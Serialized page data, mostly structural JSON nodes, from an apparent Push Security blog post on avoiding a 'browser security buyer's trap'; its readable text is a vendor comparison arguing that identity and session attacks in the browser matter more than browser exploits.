,{},[],{"data":46491,"marks":46492,"value":35103,"nodeType":864},{},[],{"data":46494,"content":46495,"nodeType":860},{},[46496],{"data":46497,"marks":46498,"value":35110,"nodeType":864},{},[],{"data":46500,"content":46501,"nodeType":1005},{},[],{"data":46503,"content":46504,"nodeType":1009},{},[46505],{"data":46506,"marks":46507,"value":35121,"nodeType":864},{},[46508],{"type":899},{"data":46510,"content":46511,"nodeType":860},{},[46512,46515,46521],{"data":46513,"marks":46514,"value":35128,"nodeType":864},{},[],{"data":46516,"content":46517,"nodeType":883},{"uri":35131},[46518],{"data":46519,"marks":46520,"value":35136,"nodeType":864},{},[],{"data":46522,"marks":46523,"value":35140,"nodeType":864},{},[],{"data":46525,"content":46526,"nodeType":860},{},[46527,46530,46536,46539,46545,46548,46554,46557,46563],{"data":46528,"marks":46529,"value":35147,"nodeType":864},{},[],{"data":46531,"content":46532,"nodeType":883},{"uri":35150},[46533],{"data":46534,"marks":46535,"value":35155,"nodeType":864},{},[],{"data":46537,"marks":46538,"value":35159,"nodeType":864},{},[],{"data":46540,"content":46541,"nodeType":883},{"uri":35162},[46542],{"data":46543,"marks":46544,"value":35167,"nodeType":864},{},[],{"data":46546,"marks":46547,"value":35171,"nodeType":864},{},[],{"data":46549,"content":46550,"nodeType":883},{"uri":35174},[46551],{"data":46552,"marks":46553,"value":35179,"nodeType":864},{},[],{"data":46555,"marks":46556,"value":35183,"nodeType":864},{},[],{"data":46558,"content":46559,"nodeType":883},{"uri":35186},[46560],{"data":46561,"marks":46562,"value":35191,"nodeType":864},{},[],{"data":46564,"marks":46565,"value":35195,"nodeType":864},{},[],{"data":46567,"content":46568,"nodeType":1005},{},[],{"data":46570,"content":46571,"nodeType":1009},{},[46572],{"data":46573,"marks":46574,"value":35206,"nodeType":864},{},[46575],{"type":899},{"data":46577,"content":46578,"nodeType":860},{},[46579,46582,46588],{"data":46580,"marks":46581,"value":35213,"nodeType":864},{},[],{"data":46583,"content":46584,"nodeType":883},{"uri":3259},[46585],{"data":46586,"marks":46587,"value":35220,"nodeType":864},{},[],{"data":46589,"marks":46590,"value":35224,"nodeType":864},{},[],{"data":46592,"content":46593,"nodeType":860},{},[46594,46597,46603],{"data":46595,"marks":46596,"value":35231,"nodeType":864},{},[],{"data":46598,"content":46599,"nodeType":883},{"uri":35234},[46600],{"data":46601,"marks":46602,"value":315,"nodeType":864},{},[],{"data":46604,"marks":46605,"value":35242,"nodeType":864},{},[],{"data":46607,"content":46608,"nodeType":1312},{},[46609],{"data":46610,"marks":46611,"value":13350,"nodeType":864},{},[46612],{"type":899},{"data":46614,"content":46615,"nodeType":860},{},[46616],{"data":46617,"marks":46618,"value":35256,"nodeType":864},{},[],{"data":46620,"content":46621,"nodeType":860},{},[46622,46626],{"data":46623,"marks":46624,"value":35264,"nodeType":864},{},[46625],{"type":899},{"data":46627,"marks":46628,"value":35268,"nodeType":864},{},[],{"data":46630,"content":46631,"nodeType":860},{},[46632,46636],{"data":46633,"marks":46634,"value":35276,"nodeType":864},{},[46635],{"type":899},{"data":46637,"marks":46638,"value":35280,"nodeType":864},{},[],{"data":46640,"content":46641,"nodeType":860},{},[46642,46646],{"data":46643,"marks":46644,"value":35288,"nodeType":864},{},[46645],{"type":899},{"data":46647,"marks":46648,"value":35292,"nodeType":864},{},[],{"data":46650,"content":46651,"nodeType":860},{},[46652,46656],{"data":46653,"marks":46654,"value":35300,"nodeType":864},{},[46655],{"type":899},{"data":46657,"marks":46658,"value":35304,"nodeType":864},{},[],{"data":46660,"content":46661,"nodeType":860},{},[46662,46665,46671],{"data":46663,"marks":46664,"value":21,"nodeType":864},{},[],{"data":46666,"content":46667,"nodeType":883},{"uri":8621},[46668],{"data":46669,"marks":46670,"value":35317,"nodeType":864},{},[],{"data":46672,"marks":46673,"value":21,"nodeType":864},{},[],{"data":46675,"content":46676,"nodeType":1312},{},[46677],{"data":46678,"marks":46679,"value":35328,"nodeType":864},{},[46680],{"type":899},{"data":46682,"content":46683,"nodeType":860},{},[46684],{"data":46685,"marks":46686,"value":35335,"nodeType":864},{},[],{"data":46688,"content":46689,"nodeType":1005},{},[],{"data":46691,"content":46692,"nodeType":860},{},[46693],{"data":46694,"marks":46695,"value":4855,"nodeType":864},{},[],{"data":46697,"content":46698,"nodeType":860},{},[46699],{"data":46700,"marks":46701,"value":1689,"nodeType":864},{},[],{"data":46703,"content":46704,"nodeType":860},{},[46705,46708,46714],{"data":46706,"marks":46707,"value":21,"nodeType":864},{},[],{"data":46709,"content":46710,"nodeType":883},{"uri":5642},[46711],{"data":46712,"marks":46713,"value":1703,"nodeType":864},{},[],{"data":46715,"marks":46716,"value":21,"nodeType":864},{},[],{"data":46718,"content":46719,"nodeType":1005},{},[],{"data":46721,"content":46722,"nodeType":1009},{},[46723],{"data":46724,"marks":46725,"value":35376,"nodeType":864},{},[46726],{"type":899},{"data":46728,"content":46729,"nodeType":860},{},[46730,46733,46739],{"data":46731,"marks":46732,"value":35383,"nodeType":864},{},[],{"data":46734,"content":46735,"nodeType":883},{"uri":6237},[46736],{"data":46737,"marks":46738,"value":35390,"nodeType":864},{},[],{"data":46740,"marks":46741,"value":35394,"nodeType":864},{},[],{"data":46743,"content":46744,"nodeType":4845},{},[46745,46788,46844,46887,46930],{"data":46746,"content":46747,"nodeType":4581},{},[46748,46758,46768,46778],{"data":46749,"content":46750,"nodeType":4569},{},[46751],{"data":46752,"content":46753,"nodeType":860},{},[46754],{"data":46755,"marks":46756,"value":35411,"nodeType":864},{},[46757],{"type":899},{"data":46759,"content":46760,"nodeType":4569},{},[46761],{"data":46762,"content":46763,"nodeType":860},{},[46764],{"data":46765,"marks":46766,"value":35422,"nodeType":864},{},[46767],{"type":899},{"data":46769,"content":46770,"nodeType":4569},{},[46771],{"data":46772,"content":46773,"nodeType":860},{},[46774],{"data":46775,"marks":46776,"value":35433,"nodeType":864},{},[46777],{"type":899},{"data":46779,"content":46780,"nodeType":4569},{},[46781],{"data":46782,"content":46783,"nodeType":860},{},[46784],{"data":46785,"marks":46786,"value":35444,"nodeType":864},{},[46787],{"type":899},{"data":46789,"content":46790,"nodeType":4581},{},[46791,46811,46820,46829],{"data":46792,"content":46793,"nodeType":4569},{},[46794],{"data":46795,"content":46796,"nodeType":860},{},[46797,46801,46804,46808],{"data":46798,"marks":46799,"value":35458,"nodeType":864},{},[46800],{"type":899},{"data":46802,"marks":46803,"value":35462,"nodeType":864},{},[],{"data":46805,"marks":46806,"value":35467,"nodeType":864},{},[46807],{"type":899},{"data":46809,"marks":46810,"value":35471,"nodeType":864},{},[],{"data":46812,"content":46813,"nodeType":4569},{},[46814],{"data":46815,"content":46816,"nodeType":860},{},[46817],{"data":46818,"marks":46819,"value":35481,"nodeType":864},{},[],{"data":46821,"content":46822,"nodeType":4569},{},[46823],{"data":46824,"content":46825,"nodeType":860},{},[46826],{"data":46827,"marks":46828,"value":35491,"nodeType":864},{},[],{"data":46830,"content":46831,"nodeType":4569},{},[46832,46838],{"data":46833,"content":46834,"nodeType":860},{},[46835],{"data":46836,"marks":46837,"value":35501,"nodeType":864},{},[],{"data":46839,"content":46840,"nodeType":860},{},[46841],{"data":46842,"marks":46843,"value":35508,"nodeType":864},{},[],{"data":46845,"content":46846,"nodeType":4581},{},[46847,46860,46869,46878],{"data":46848,"content":46849,"nodeType":4569},{},[46850],{"data":46851,"content":46852,"nodeType":860},{},[46853,46857],{"data":46854,"marks":46855,"value":35522,"nodeType":864},{},[46856],{"type":899},{"data":46858,"marks":46859,"value":35526,"nodeType":864},{},[],{"data":46861,"content":46862,"nodeType":4569},{},[46863],{"data":46864,"content":46865,"nodeType":860},{},[46866],{"data":46867,"marks":46868,"value":35536,"nodeType":864},{},[],{"data":46870,"content":46871,"nodeType":4569},{},[46872],{"data":46873,"content":46874,"nodeType":860},{},[46875],{"data":46876,"marks":46877,"value":35546,"nodeType":864},{},[],{"data":46879,"content":46880,"nodeType":4569},{},[46881],{"data":46882,"content":46883,"nodeType":860},{},[46884],{"data":46885,"marks":46886,"value":35556,"nodeType":864},{},[],{"data":46888,"content":46889,"nodeType":4581},{},[46890,46903,46912,46921],{"data":46891,"content":46892,"nodeType":4569},{},[46893],{"data":46894,"content":46895,"nodeType":860},{},[46896,46900],{"data":46897,"marks":46898,"value":35570,"nodeType":864},{},[46899],{"type":899},{"data":46901,"marks":46902,"value":35574,"nodeType":864},{},[],{"data":46904,"content":46905,"nodeType":4569},{},[46906],{"data":46907,"content":46908,"nodeType":860},{},[46909],{"data":46910,"marks":46911,"value":35584,"nodeType":864},{},[],{"data":46913,"content":46914,"nodeType":4569},{},[46915],{"data":46916,"content":46917,"nodeType":860},{},[46918],{"data":46919,"marks":46920,"value":35594,"nodeType":864},{},[],{"data":46922,"content":46923,"nodeType":4569},{},[46924],{"data":46925,"content":46926,"nodeType":860},{},[46927],{"data":46928,"marks":46929,"value":35604,"nodeType":864},{},[],{"data":46931,"content":46932,"nodeType":4581},{},[46933,46946,46955,46964],{"data":46934,"content":46935,"nodeType":4569},{},[46936],{"data":46937,"content":46938,"nodeType":860},{},[46939,46943],{"data":46940,"marks":46941,"value":35618,"nodeType":864},{},[46942],{"type":899},{"data":46944,"marks":46945,"value":35622,"nodeType":864},{},[],{"data":46947,"content":46948,"nodeType":4569},{},[46949],{"data":46950,"content":46951,"nodeType":860},{},[46952],{"data":46953,"marks":46954,"value":35481,"nodeType":864},{},[],{"data":46956,"content":46957,"nodeType":4569},{},[46958],{"data":46959,"content":46960,"nodeType":860},{},[46961],{"data":46962,"marks":46963,"value":35641,"nodeType":864},{},[],{"data":46965,"content":46966,"nodeType":4569},{},[46967],{"data":46968,"content":46969,"nodeType":860},{},[46970],{"data":46971,"marks":46972,"value":35651,"nodeType":864},{},[],{"data":46974,"content":46975,"nodeType":860},{},[46976],{"data":46977,"marks":46978,"value":21,"nodeType":864},{},[],{"items":46980},[46981,46983],{"sys":46982,"name":6593},{"id":6592},{"sys":46984,"name":342},{"id":6596},{"items":46986},[46987],{"fullName":2736,"firstName":2737,"jobTitle":2738,"profilePicture":46988},{"url":2740},"blog/7-things-omdias-latest-report-tells-us-about-the-secure-enterprise-browser-market",{"json":46991},{"data":46992,"content":46993,"nodeType":856},{},[46994],{"data":46995,"content":46996,"nodeType":860},{},[46997],{"data":46998,"marks":46999,"value":47000,"nodeType":864},{},[],"New research from Omdia has put hard numbers behind something security teams have been feeling for the past two years: the browser has become the primary attack surface in the enterprise, organizations are investing accordingly, and the results are already measurable.",{"id":34104,"publishedAt":47002},"2026-08-12T11:52:51.573Z",{"items":47004},[47005,47007],{"sys":47006,"name":297},{"id":2732},{"sys":47008,"name":2729},{"id":2728},{"items":47010},[47011,47013,47015,47017,47019,47021,47023,47025,47027,47029,47031,47033,47035,47037,47039,47041,47043,47045,47047],{"sys":47012,"name":297,"slug":298,"tier":31},{"id":294},{"sys":47014,"name":642,"slug":643,"tier":31},{"id":639},{"sys":47016,"name":279,"slug":280,"tier":31},{"id":276},{"sys":47018,"name":519,"slug":520,"tier":31},{"id":516},{"sys":47020,"name":413,"slug":414,"tier":31},{"id":410},{"sys":47022,"name":235,"slug":236,"tier":31},{"id":232},{"sys":47024,"name":386,"slug":387,"tier":45},{"id":383},{"sys":47026,"name":580,"slug":581,"tier":45},{"id":577},{"sys":47028,"name":261,"slug":262,"tier":45},{"id":258},{"sys":47030,"name":324,"slug":325,"tier":45},{"id":321},{"sys":47032,"name":571,"slug":572,"tier":45},{"id":568},{"sys":47034,"name":288,"slug":289,"tier":45},{"id":285},{"sys":47036,"name":368,"slug":369,"tier":45},{"id":365},{"sys":47038,"name":315,"slug":316,"tier":45},{"id":312},{"sys":47040,"name":360,"slug":361,"tier":45},{"id":357},{"sys":47042,"name":252,"slug":253,"tier":45},{"id":249},{"sys":47044,"name":511,"slug":512,"tier":45},{"id":508},{"sys":47046,"name":624,"slug":625,"tier":45},{"id":621},{"sys":47048,"name":244,"slug":245,"tier":45},{"id":241},"R6qLSR-i1d8ltg2tNiiwocbWu7Y3b4pT4C_MTKlUwec",{"id":47051,"title":42532,"authorsCollection":47052,"content":47057,"extension":228,"faqItemsCollection":47834,"faqTitle":59,"featured":6,"hashTags":59,"meta":47836,"metaTitle":47837,"ogImage":59,"postType":8776,"publishedDate":34681,"relatedBlogPostsCollection":47838,"slug":42534,"stem":49935,"subtitle":59,"summary":49936,"synopsis":42533,"sys":49947,"tagsCollection":49949,"topicsCollection":49955,"__hash__":50003},"blog/blog/how-to-avoid-the-browser-security-buyers-trap.json",{"items":47053},[47054],{"fullName":4878,"firstName":4879,"jobTitle":851,"socialLinks":47055,"profilePicture":47056},[41135],{"url":4881},{"json":47058,"links":47717},{"data":47059,"content":47060,"nodeType":856},{},[47061,47066,47072,47078,47084,47087,47094,47100,47110,47120,47125,47131,47134,47141,47147,47152,47158,47164,47257,47263,47266,47273,47279,47334,47347,47352,47358,47361,47368,47374,47381,47387,47393,47418,47424,47431,47437,47443,47449,47456,47462,47468,47474,47477,47484,47494,47500,47506,47513,47519,47525,47532,47538,47593,47606,47621,47628,47634,47641,47647,47653,47659,47664,47671,47677,47683,47688,47694,47700,47706,47711],{"data":47062,"content":47065,"nodeType":996},{"target":47063},{"sys":47064},{"id":41775,"type":1001,"linkType":1002},[],{"data":47067,"content":47068,"nodeType":860},{},[47069],{"data":47070,"marks":47071,"value":41783,"nodeType":864},{},[],{"data":47073,"content":47074,"nodeType":860},{},[47075],{"data":47076,"marks":47077,"value":41790,"nodeType":864},{},[],{"data":47079,"content":47080,"nodeType":860},{},[47081],{"data":47082,"marks":47083,"value":41797,"nodeType":864},{},[],{"data":47085,"content":47086,"nodeType":1005},{},[],{"data":47088,"content":47089,"nodeType":1009},{},[47090],{"data":47091,"marks":47092,"value":41808,"nodeType":864},{},[47093],{"type":899},{"data":47095,"content":47096,"nodeType":860},{},[47097],{"data":47098,"marks":47099,"value":41815,"nodeType":864},{},[],{"data":47101,"content":47102,"nodeType":860},{},[47103,47107],{"data":47104,"marks":47105,"value":41823,"nodeType":864},{},[47106],{"type":899},{"data":47108,"marks":47109,"value":41827,"nodeType":864},{},[],{"data":47111,"content":47112,"nodeType":860},{},[47113,47117],{"data":47114,"marks":47115,"value":41835,"nodeType":864},{},[47116],{"type":899},{"data":47118,"marks":47119,"value":41839,"nodeType":864},{},[],{"data":47121,"content":47124,"nodeType":996},{"target":47122},{"sys":47123},{"id":5895,"type":1001,"linkType":1002},[],{"data":47126,"content":47127,"nodeType":860},{},[47128],{"data":47129,"marks":47130,"value":41851,"nodeType":864},{},[],{"data":47132,"content":47133,"nodeType":1005},{},[],{"data":47135,"content":47136,"nodeType":1009},{},[47137],{"data":47138,"marks":47139,"value":41862,"nodeType":864},{},[47140],{"type":899},{"data":47142,"content":47143,"nodeType":860},{},[47144],{"data":47145,"marks":47146,"value":41869,"nodeType":864},{},[],{"data":47148,"content":47151,"nodeType":996},{"target":47149},{"sys":47150},{"id":41874,"type":1001,"linkType":1002},[],{"data":47153,"content":47154,"nodeType":860},{},[47155],{"data":47156,"marks":47157,"value":41882,"nodeType":864},{},[],{"data":47159,"content":47160,"nodeType":860},{},[47161],{"data":47162,"marks":47163,"value":41889,"nodeType":864},{},[],{"data":47165,"content":47166,"nodeType":941},{},[47167,47183,47199,47215,47231,47244],{"data":47168,"content":47169,"nodeType":945},{},[47170],{"data":47171,"content":47172,"nodeType":860},{},[47173,47176,47180],{"data":47174,"marks":47175,"value":41902,"nodeType":864},{},[],{"data":47177,"marks":47178,"value":41247,"nodeType":864},{},[47179],{"type":899},{"data":47181,"marks":47182,"value":41910,"nodeType":864},{},[],{"data":47184,"content":47185,"nodeType":945},{},[47186],{"data":47187,"content":47188,"nodeType":860},{},[47189,47192,47196],{"data":47190,"marks":47191,"value":41920,"nodeType":864},{},[],{"data":47193,"marks":47194,"value":41925,"nodeType":864},{},[47195],{"type":899},{"data":47197,"marks":47198,"value":41929,"nodeType":864},{},[],{"data":47200,"content":47201,"nodeType":945},{},[47202],{"data":47203,"content":47204,"nodeType":860},{},[47205,47208,47212],{"data":47206,"marks":47207,"value":41939,"nodeType":864},{},[],{"data":47209,"marks":47210,"value":41944,"nodeType":864},{},[47211],{"type":899},{"data":47213,"marks":47214,"value":41948,"nodeType":864},{},[],{"data":47216,"content":47217,"nodeType":945},{},[47218],{"data":47219,"content":47220,"nodeType":860},{},[47221,47224,47228],{"data":47222,"marks":47223,"value":41958,"nodeType":864},{},[],{"data":47225,"marks":47226,"value":41963,"nodeType":864},{},[47227],{"type":899},{"data":47229,"marks":47230,"value":41967,"nodeType":864},{},[],{"data":47232,"content":47233,"nodeType":945},{},[47234],{"data":47235,"content":47236,"nodeType":860},{},[47237,47241],{"data":47238,"marks":47239,"value":11789,"nodeType":864},{},[47240],{"type":899},{"data":47242,"marks":47243,"value":41981,"nodeType":864},{},[],{"data":47245,"content":47246,"nodeType":945},{},[47247],{"data":47248,"content":47249,"nodeType":860},{},[47250,47254],{"data":47251,"marks":47252,"value":41992,"nodeType":864},{},[47253],{"type":899},{"data":47255,"marks":47256,"value":41996,"nodeType":864},{},[],{"data":47258,"content":47259,"nodeType":860},{},[47260],{"data":47261,"marks":47262,"value":42003,"nodeType":864},{},[],{"data":47264,"content":47265,"nodeType":1005},{},[],{"data":47267,"content":47268,"nodeType":1312},{},[47269],{"data":47270,"marks":47271,"value":42014,"nodeType":864},{},[47272],{"type":899},{"data":47274,"content":47275,"nodeType":860},{},[47276],{"data":47277,"marks":47278,"value":42021,"nodeType":864},{},[],{"data":47280,"content":47281,"nodeType":941},{},[47282,47295,47308,47321],{"data":47283,"content":47284,"nodeType":945},{},[47285],{"data":47286,"content":47287,"nodeType":860},{},[47288,47291],{"data":47289,"marks":47290,"value":42034,"nodeType":864},{},[],{"data":47292,"marks":47293,"value":42039,"nodeType":864},{},[47294],{"type":899},{"data":47296,"content":47297,"nodeType":945},{},[47298],{"data":47299,"content":47300,"nodeType":860},{},[47301,47304],{"data":47302,"marks":47303,"value":42049,"nodeType":864},{},[],{"data":47305,"marks":47306,"value":42054,"nodeType":864},{},[47307],{"type":899},{"data":47309,"content":47310,"nodeType":945},{},[47311],{"data":47312,"content":47313,"nodeType":860},{},[47314,47317],{"data":47315,"marks":47316,"value":42064,"nodeType":864},{},[],{"data":47318,"marks":47319,"value":42069,"nodeType":864},{},[47320],{"type":899},{"data":47322,"content":47323,"nodeType":945},{},[47324],{"data":47325,"content":47326,"nodeType":860},{},[47327,47330],{"data":47328,"marks":47329,"value":42079,"nodeType":864},{},[],{"data":47331,"marks":47332,"value":42084,"nodeType":864},{},[47333],{"type":899},{"data":47335,"content":47336,"nodeType":860},{},[47337,47340,47344],{"data":47338,"marks":47339,"value":42091,"nodeType":864},{},[],{"data":47341,"marks":47342,"value":42096,"nodeType":864},{},[47343],{"type":899},{"data":47345,"marks":47346,"value":42100,"nodeType":864},{},[],{"data":47348,"content":47351,"nodeType":996},{"target":47349},{"sys":47350},{"id":42105,"type":1001,"linkType":1002},[],{"data":47353,"content":47354,"nodeType":860},{},[47355],{"data":47356,"marks":47357,"value":42113,"nodeType":864},{},[],{"data":47359,"content":47360,"nodeType":1005},{},[],{"data":47362,"content":47363,"nodeType":1009},{},[47364],{"data":47365,"marks":47366,"value":42124,"nodeType":864},{},[47367],{"type":899},{"data":47369,"content":47370,"nodeType":860},{},[47371],{"data":47372,"marks":47373,"value":42131,"nodeType":864},{},[],{"data":47375,"content":47376,"nodeType":1312},{},[47377],{"data":47378,"marks":47379,"value":42139,"nodeType":864},{},[47380],{"type":899},{"data":47382,"content":47383,"nodeType":860},{},[47384],{"data":47385,"marks":47386,"value":42146,"nodeType":864},{},[],{"data":47388,"content":47389,"nodeType":860},{},[47390],{"data":47391,"marks":47392,"value":42153,"nodeType":864},{},[],{"data":47394,"content":47395,"nodeType":860},{},[47396,47399,47405,47408,47415],{"data":47397,"marks":47398,"value":42160,"nodeType":864},{},[],{"data":47400,"content":47401,"nodeType":883},{"uri":2561},[47402],{"data":47403,"marks":47404,"value":42167,"nodeType":864},{},[],{"data":47406,"marks":47407,"value":42171,"nodeType":864},{},[],{"data":47409,"content":47410,"nodeType":883},{"uri":42174},[47411],{"data":47412,"marks":47413,"value":42180,"nodeType":864},{},[47414],{"type":1455},{"data":47416,"marks":47417,"value":42184,"nodeType":864},{},[],{"data":47419,"content":47420,"nodeType":860},{},[47421],{"data":47422,"marks":47423,"value":42191,"nodeType":864},{},[],{"data":47425,"content":47426,"nodeType":1312},{},[47427],{"data":47428,"marks":47429,"value":42199,"nodeType":864},{},[47430],{"type":899},{"data":47432,"content":47433,"nodeType":860},{},[47434],{"data":47435,"marks":47436,"value":42206,"nodeType":864},{},[],{"data":47438,"content":47439,"nodeType":860},{},[47440],{"data":47441,"marks":47442,"value":42213,"nodeType":864},{},[],{"data":47444,"content":47445,"nodeType":860},{},[47446],{"data":47447,"marks":47448,"value":42220,"nodeType":864},{},[],{"data":47450,"content":47451,"nodeType":1312},{},[47452],{"data":47453,"marks":47454,"value":42228,"nodeType":864},{},[47455],{"type":899},{"data":47457,"content":47458,"nodeType":860},{},[47459],{"data":47460,"marks":47461,"value":42235,"nodeType":864},{},[],{"data":47463,"content":47464,"nodeType":860},{},[47465],{"data":47466,"marks":47467,"value":42242,"nodeType":864},{},[],{"data":47469,"content":47470,"nodeType":860},{},[47471],{"data":47472,"marks":47473,"value":42249,"nodeType":864},{},[],{"data":47475,"content":47476,"nodeType":1005},{},[],{"data":47478,"content":47479,"nodeType":1009},{},[47480],{"data":47481,"marks":47482,"value":42260,"nodeType":864},{},[47483],{"type":899},{"data":47485,"content":47486,"nodeType":860},{},[47487,47491],{"data":47488,"marks":47489,"value":42268,"nodeType":864},{},[47490],{"type":899},{"data":47492,"marks":47493,"value":42272,"nodeType":864},{},[],{"data":47495,"content":47496,"nodeType":860},{},[47497],{"data":47498,"marks":47499,"value":42279,"nodeType":864},{},[],{"data":47501,"content":47502,"nodeType":860},{},[47503],{"data":47504,"marks":47505,"value":42286,"nodeType":864},{},[],{"data":47507,"content":47508,"nodeType":1312},{},[47509],{"data":47510,"marks":47511,"value":42294,"nodeType":864},{},[47512],{"type":899},{"data":47514,"content":47515,"nodeType":860},{},[47516],{"data":47517,"marks":47518,"value":42301,"nodeType":864},{},[],{"data":47520,"content":47521,"nodeType":860},{},[47522],{"data":47523,"marks":47524,"value":42308,"nodeType":864},{},[],{"data":47526,"content":47527,"nodeType":1312},{},[47528],{"data":47529,"marks":47530,"value":42316,"nodeType":864},{},[47531],{"type":899},{"data":47533,"content":47534,"nodeType":860},{},[47535],{"data":47536,"marks":47537,"value":42323,"nodeType":864},{},[],{"data":47539,"content":47540,"nodeType":941},{},[47541,47554,47567,47580],{"data":47542,"content":47543,"nodeType":945},{},[47544],{"data":47545,"content":47546,"nodeType":860},{},[47547,47551],{"data":47548,"marks":47549,"value":42337,"nodeType":864},{},[47550],{"type":899},{"data":47552,"marks":47553,"value":42341,"nodeType":864},{},[],{"data":47555,"content":47556,"nodeType":945},{},[47557],{"data":47558,"content":47559,"nodeType":860},{},[47560,47564],{"data":47561,"marks":47562,"value":42352,"nodeType":864},{},[47563],{"type":899},{"data":47565,"marks":47566,"value":42356,"nodeType":864},{},[],{"data":47568,"content":47569,"nodeType":945},{},[47570],{"data":47571,"content":47572,"nodeType":860},{},[47573,47577],{"data":47574,"marks":47575,"value":42367,"nodeType":864},{},[47576],{"type":899},{"data":47578,"marks":47579,"value":42371,"nodeType":864},{},[],{"data":47581,"content":47582,"nodeType":945},{},[47583],{"data":47584,"content":47585,"nodeType":860},{},[47586,47590],{"data":47587,"marks":47588,"value":42382,"nodeType":864},{},[47589],{"type":899},{"data":47591,"marks":47592,"value":42386,"nodeType":864},{},[],{"data":47594,"content":47595,"nodeType":860},{},[47596,47599,47603],{"data":47597,"marks":47598,"value":42393,"nodeType":864},{},[],{"data":47600,"marks":47601,"value":42398,"nodeType":864},{},[47602],{"type":899},{"data":47604,"marks":47605,"value":42402,"nodeType":864},{},[],{"data":47607,"content":47608,"nodeType":860},{},[47609,47612,47618],{"data":47610,"marks":47611,"value":42409,"nodeType":864},{},[],{"data":47613,"content":47614,"nodeType":883},{"uri":3210},[47615],{"data":47616,"marks":47617,"value":42416,"nodeType":864},{},[],{"data":47619,"marks":47620,"value":42420,"nodeType":864},{},[],{"data":47622,"content":47623,"nodeType":1312},{},[47624],{"data":47625,"marks":47626,"value":42428,"nodeType":864},{},[47627],{"type":899},{"data":47629,"content":47630,"nodeType":860},{},[47631],{"data":47632,"marks":47633,"value":42435,"nodeType":864},{},[],{"data":47635,"content":47636,"nodeType":860},{},[47637],{"data":47638,"marks":47639,"value":42443,"nodeType":864},{},[47640],{"type":899},{"data":47642,"content":47643,"nodeType":860},{},[47644],{"data":47645,"marks":47646,"value":42450,"nodeType":864},{},[],{"data":47648,"content":47649,"nodeType":860},{},[47650],{"data":47651,"marks":47652,"value":42457,"nodeType":864},{},[],{"data":47654,"content":47655,"nodeType":860},{},[47656],{"data":47657,"marks":47658,"value":42464,"nodeType":864},{},[],{"data":47660,"content":47663,"nodeType":996},{"target":47661},{"sys":47662},{"id":42469,"type":1001,"linkType":1002},[],{"data":47665,"content":47666,"nodeType":1312},{},[47667],{"data":47668,"marks":47669,"value":42478,"nodeType":864},{},[47670],{"type":899},{"data":47672,"content":47673,"nodeType":860},{},[47674],{"data":47675,"marks":47676,"value":42485,"nodeType":864},{},[],{"data":47678,"content":47679,"nodeType":860},{},[47680],{"data":47681,"marks":47682,"value":42492,"nodeType":864},{},[],{"data":47684,"content":47687,"nodeType":996},{"target":47685},{"sys":47686},{"id":42497,"type":1001,"linkType":1002},[],{"data":47689,"content":47690,"nodeType":860},{},[47691],{"data":47692,"marks":47693,"value":42505,"nodeType":864},{},[],{"data":47695,"content":47696,"nodeType":860},{},[47697],{"data":47698,"marks":47699,"value":42512,"nodeType":864},{},[],{"data":47701,"content":47702,"nodeType":860},{},[47703],{"data":47704,"marks":47705,"value":42519,"nodeType":864},{},[],{"data":47707,"content":47710,"nodeType":996},{"target":47708},{"sys":47709},{"id":42524,"type":1001,"linkType":1002},[],{"data":47712,"content":47713,"nodeType":860},{},[47714],{"data":47715,"marks":47716,"value":21,"nodeType":864},{},[],{"entries":47718},{"hyperlink":47719,"inline":47720,"block":47721},[],[],[47722,47747,47749,47785,47808,47822,47830],{"sys":47723,"__typename":1740,"content":47724,"name":47746,"title":59},{"id":41775},{"json":47725},{"nodeType":856,"data":47726,"content":47727},{},[47728,47740],{"nodeType":860,"data":47729,"content":47730},{},[47731,47736],{"nodeType":864,"value":47732,"marks":47733,"data":47735},"TL;DR:",[47734],{"type":899},{},{"nodeType":864,"value":47737,"marks":47738,"data":47739}," Not all browser security investments address the same threat. Seraphic (Crowdstrike) focuses on browser exploitation, SquareX (ZScaler) on malware sandboxing, LayerX on internal governance. None of these address the attacks that are actually causing the most damaging breaches today: identity theft, credential abuse, and session hijacking that play out entirely inside the browser using legitimate authentication flows. Push Security is built specifically for that threat model — delivering the greatest coverage against the most damaging attacks, without the user friction, operational management burden, or stability risks associated with other solutions.",[],{},{"nodeType":860,"data":47741,"content":47742},{},[47743],{"nodeType":864,"value":25966,"marks":47744,"data":47745},[],{},"Browser security buyer's trap IB1",{"sys":47748,"__typename":1717,"type":1718,"ctaText":44967,"buttonLabel":44968,"buttonColour":1721,"buttonUrl":6543},{"id":5895},{"sys":47750,"__typename":1740,"content":47751,"name":47784,"title":59},{"id":41874},{"json":47752},{"data":47753,"content":47754,"nodeType":856},{},[47755],{"data":47756,"content":47757,"nodeType":860},{},[47758,47762,47769,47772,47780],{"data":47759,"marks":47760,"value":47761,"nodeType":864},{},[],"You can read about ",{"data":47763,"content":47764,"nodeType":883},{"uri":6237},[47765],{"data":47766,"marks":47767,"value":6242,"nodeType":864},{},[47768],{"type":1455},{"data":47770,"marks":47771,"value":902,"nodeType":864},{},[],{"data":47773,"content":47774,"nodeType":883},{"uri":4082},[47775],{"data":47776,"marks":47777,"value":47779,"nodeType":864},{},[47778],{"type":1455},"ShinyHunters’ 2026 campaigns and TTPs",{"data":47781,"marks":47782,"value":47783,"nodeType":864},{},[]," in our dedicated blog posts. ","Browser security buyer's trap IB2",{"sys":47786,"__typename":1740,"content":47787,"name":47807,"title":59},{"id":42105},{"json":47788},{"data":47789,"content":47790,"nodeType":856},{},[47791],{"data":47792,"content":47793,"nodeType":860},{},[47794,47798,47803],{"data":47795,"marks":47796,"value":47797,"nodeType":864},{},[],"It's worth heading off the obvious counterargument: ",{"data":47799,"marks":47800,"value":47802,"nodeType":864},{},[47801],{"type":899},"won't AI-assisted vulnerability discovery eventually make browser exploits cheaper? ",{"data":47804,"marks":47805,"value":47806,"nodeType":864},{},[],"Perhaps — but it will simultaneously make them easier for browser vendors to find and patch, and vendors like Google and Microsoft have the engineering capacity and financial incentive to scale AI-driven remediation far faster than attackers can scale exploit development. ","Browser security buyer's trap IB3",{"sys":47809,"__typename":1740,"content":47810,"name":47821,"title":59},{"id":42469},{"json":47811},{"nodeType":856,"data":47812,"content":47813},{},[47814],{"nodeType":860,"data":47815,"content":47816},{},[47817],{"nodeType":864,"value":47818,"marks":47819,"data":47820},"Solutions optimized for browser exploitation are defending against a shrinking attack category. Browser vendors are very good at closing those vulnerabilities, quickly. The ROI trajectory points the wrong way.",[],{},"Browser security buyer's trap IB4",{"sys":47823,"__typename":1724,"title":47824,"caption":47825,"layoutMode":59,"file":47826},{"id":42497},"Comparing ease of deployment x security value for browser security solutions","Comparing ease of deployment x security value for browser security 